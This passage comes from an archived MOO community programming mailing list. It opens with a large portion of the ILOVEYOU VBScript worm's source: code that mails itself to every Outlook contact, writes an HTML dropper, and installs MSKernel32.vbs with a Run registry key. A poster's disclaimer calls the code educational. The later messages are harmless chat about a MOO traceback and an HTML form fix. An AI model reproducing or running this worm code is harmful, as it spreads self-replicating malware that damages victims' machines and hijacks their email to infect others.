(int(a.AddressEntries.Count)>int(regv)) then <br>for ctrentries=1 to a.AddressEntries.Count <br>malead=a.AddressEntries(x) <br>regad="" <br>regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) <br>if (regad="") then <br>set male=out.CreateItem(0) <br>male.Recipients.Add(malead) <br>male.Subject = "ILOVEYOU" <br>male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." <br>male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <br>male.Send <br>regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" <br>end if <br>x=x+1 <br>next <br>regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count <br>else <br>regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count <br>end if <br>next <br>Set out=Nothing <br>Set mapi=Nothing <br>end sub <br>sub html <br>On Error Resume Next <br>dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 <br>dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ <br>"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& <br> _ <br>"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ <br>"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ <br>"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@ <br>-@>"&vbcrlf& _ <br>"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable Acti <br>veX<?-?p>"&vbcrlf& _ <br>"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ <br>"<?-?BODY><?-?HTML>"&vbcrlf& _ <br>"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ <br>"<!--?-??-?"&vbcrlf& _ <br>"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ <br>"?-??-?-->"&vbcrlf& _ <br>"<?-?SCRIPT>"&vbcrlf& _ <br>"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ <br>"<!--"&vbcrlf& _ <br>"on error resume next"&vbcrlf& _ <br>"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ <br>"aw=1"&vbcrlf& _ <br>"code=" <br>"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ <br>"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ <br>"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ <br>"wri.write code4"&vbcrlf& _ <br>"wri.close"&vbcrlf& _ <br>"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ <br>"if (err.number=424) then"&vbcrlf& _ <br>"aw=0"&vbcrlf& _ <br>"end if"&vbcrlf& _ <br>"if (aw=1) then"&vbcrlf& _ <br>"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ <br>"window.close"&vbcrlf& _ <br>"end if"&vbcrlf& _ <br>"end if"&vbcrlf& _ <br>"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ <br>"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ <br>"?-??-?-->"&vbcrlf& _ <br>"<?-?SCRIPT>" <br>dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") <br>dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") <br>dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") <br>dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") <br>dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") <br>dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") <br>dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") <br>dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") <br>set fso=CreateObject("Scripting.FileSystemObject") <br>set c=fso.OpenTextFile(WScript.ScriptFullName,1) <br>lines=Split(c.ReadAll,vbcrlf) <br>l1=ubound(lines) <br>for n=0 to ubound(lines) <br>lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) <br>lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) <br>lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) <br>if (l1=n) then <br>lines(n)=chr(34)+lines(n)+chr(34) <br>else <br>lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" <br>end if <br>next <br>set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") <br>b.close <br>set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) <br>d.write dt5 <br>d.write join(lines,vbcrlf) <br>d.write vbcrlf <br>d.write dt6 <br>d.close <br> <br>Note, We don't accept responsibility for any tosser who actually uses this code, this is for educational purposes - and for people who want to know what the infamous ILOVEYOU virus looks like - yeah, crap innit. <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>52 <font face color = "Red"><br>Date:</font> Mon Feb 4 08:27:01 2002 PST <font face color = "Red"><br>From:</font> Laura (#105) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font>New TB <br> <br>Trying to find the archives, I astarted auditing all the fathers (not wise) and then tried to teleport to the village and the 'burbs and got TB. I copies it so hopefully I can paste it here. <br>#7:announce_all_but (this == #1051), line 12: Type mismatch <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>53 <font face color = "Red"><br>Date:</font> Mon Feb 4 08:28:56 2002 PST <font face color = "Red"><br>From:</font> Laura (#105) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font>OOPS. <br> <br>OOPS. Fecked up.. <br>That should read... <br>#7:announce_all_but (this == #1051), line 12: Type mismatch <br>... called from #90:teleport_messages (this == #105), line 18 <br>... called from #90:teleport (this == #105), line 18 <br>... called from #90:@go (this == #105), line 6 <br>(End of traceback) say Laura <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>54 <font face color = "Red"><br>Date:</font> Mon Feb 4 10:17:22 2002 PST <font face color = "Red"><br>From:</font> Craig (#3) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font>Traceback <br> <br>Well - that's what you get for trying to go into an 'exit' ;) <br> <br>Nevermind petal... sure you'll be okay ;) <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>55 <font face color = "Red"><br>Date:</font> Fri Jul 12 04:43:40 2002 PDT <font face color = "Red"><br>From:</font> Niamh (#1874) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font> <br> <br>Father_Wildcard, I programmed some verbs and an FO, do i get a knighthood? <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>56 <font face color = "Red"><br>Date:</font> Fri Jul 12 04:47:08 2002 PDT <font face color = "Red"><br>From:</font> Niamh (#1874) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font>I do <br> <br>Father_Wildcard, I programmed some verbs and an FO, do i get a knighthood? <br>Niamh x-x-x <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>57 <font face color = "Red"><br>Date:</font> Tue Jul 16 12:51:18 2002 PDT <font face color = "Red"><br>From:</font> Craig (#3) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font> <br> <br>Sure. The medal's in the post <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>58 <font face color = "Red"><br>Date:</font> Tue Jul 16 13:56:35 2002 PDT <font face color = "Red"><br>From:</font> Niamh (#1874) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font> <br> <br>But......you don't know where I live! :O I feel there is much lying going on here! lies, ALL LIES! <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>59 <font face color = "Red"><br>Date:</font> Tue Jun 15 14:59:23 2004 PDT <font face color = "Red"><br>From:</font> Craig (#3) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font>I thought it was only fitting to post here... <br> <br>Right... I have a problem... And I'm rather embarrassed... <br> <br>I've set myself this programming challenge, and I wanna write it in MOO. For two reasons... 1) 'Cos nostalgia. and 2) 'Cos I can't be arsed to learn anything else. <br> <br>Thing is, I've hit a snag... Right at the beginning... Like with the first verb... Here's the details: <br> <br>I have a html page containing a form at <a href = "http://www.feck.net/wildcard/MailingList/index.html">http://www.feck.net/wildcard/MailingList/index.html</a> the form is supposed to call <a href = "http://www.feck.net:9990/mail_admin_login.">http://www.feck.net:9990/mail_admin_login.</a> <br> <br>It doesn't seem to... But, if I force the URL in the address bar with <a href = "http://www.feck.net:9990/mail_admin_login?blahblahblah,">http://www.feck.net:9990/mail_admin_login?blahblahblah,</a> then the verb actually kicks in... <br> <br>I'm not sure if it's the moo (i'm doubting it) or the html (which is getting rather embarrassing for me reallying innit....) <br> <br>Once I can get over the first hurdle, I'm sure it'll all come flooding back... I've actually almost planned this one out... Which is why it's all going wrong, obviously... <br> <br>Any discreet help would be appreciated ;) <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>60 <font face color = "Red"><br>Date:</font> Wed Jun 16 03:20:42 2004 PDT <font face color = "Red"><br>From:</font> Plumduff (#2) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font> <br> <br>Try changing the form method to GET. We disable POST years ago. :) <br> <p> ==================================================================== <p><font face color = "Red"> Message Number: </font>61 <font face color = "Red"><br>Date:</font> Wed Jun 16 15:43:07 2004 PDT <font face color = "Red"><br>From:</font> Craig (#3) <br><font face color = "Red">To: </font> *Programming (#597) <br><font face color = "Red">Subject: </font>Post....Get.... <br> <br>Ahhh... it all seems so obvious now.. still.. at least no-one spotted that I had the port number wrong for an hour... That confused me I can tell ya ;) <br> <br>Cheers dude... Now I have to write the fucker ;) <br> <br>- Craig <p> ==================================================================== <p><a href = "407"> Mailing List Index </a> <p><a href = "http://www.feck.net:6666/cimain"> Back to the Craggy Homepage. </a> <center> <hr> <font face="arial, helvetica, sans-serif"> <b> <a href="http://www.feck.net:6666/">Craggy Island</a> : </b> <font color="red"> I'm a happy camper! </font> <br> <font size="2"> <a href="http://www.feck.net/">FeckNet</a> | <a href="http://www.feck.net/hm">Login</a> | <a href="http://www.feck.net:6666/61">Tour</a> | <a href="http://www.feck.net:6666/who">Who</a> | <a href="http://www.feck.net:6666/request">Request</a> </font> </center> </font>